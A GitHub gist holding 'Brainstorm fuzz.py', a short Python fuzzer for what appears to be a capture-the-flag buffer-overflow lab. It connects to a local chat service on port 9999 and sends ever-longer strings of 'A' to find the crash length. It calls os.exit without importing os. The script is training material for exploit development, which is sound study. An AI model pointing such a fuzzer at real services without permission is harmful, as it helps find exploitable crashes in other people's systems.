Skip to content

Instantly share code, notes, and snippets.

@jayateertha043
Created November 9, 2021 12:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jayateertha043/e11a338d2a0683ddd49ae01373d655f3 to your computer and use it in GitHub Desktop.
Save jayateertha043/e11a338d2a0683ddd49ae01373d655f3 to your computer and use it in GitHub Desktop.
Brainstorm fuzz.py
import sys, socket, time
ip = '127.0.0.1'
port = 9999
buffer = "A"
counter = 100
while counter <= 3000:
buffer = "A" * counter
counter = counter + 100
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
#initial welcome message
tmp = s.recv(1024)
#send username
user = "Jayateertha\r\n"
s.send(user.encode())
#Receive reply
tmp = s.recv(1024)
print("sending "+str(len(buffer)) + " bytes")
#send message
buffer = buffer + "\r\n"
s.send(buffer.encode())
except:
print("Exception, connection closed")
s.close()
os.exit(1)
finally:
time.sleep(0.5)
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment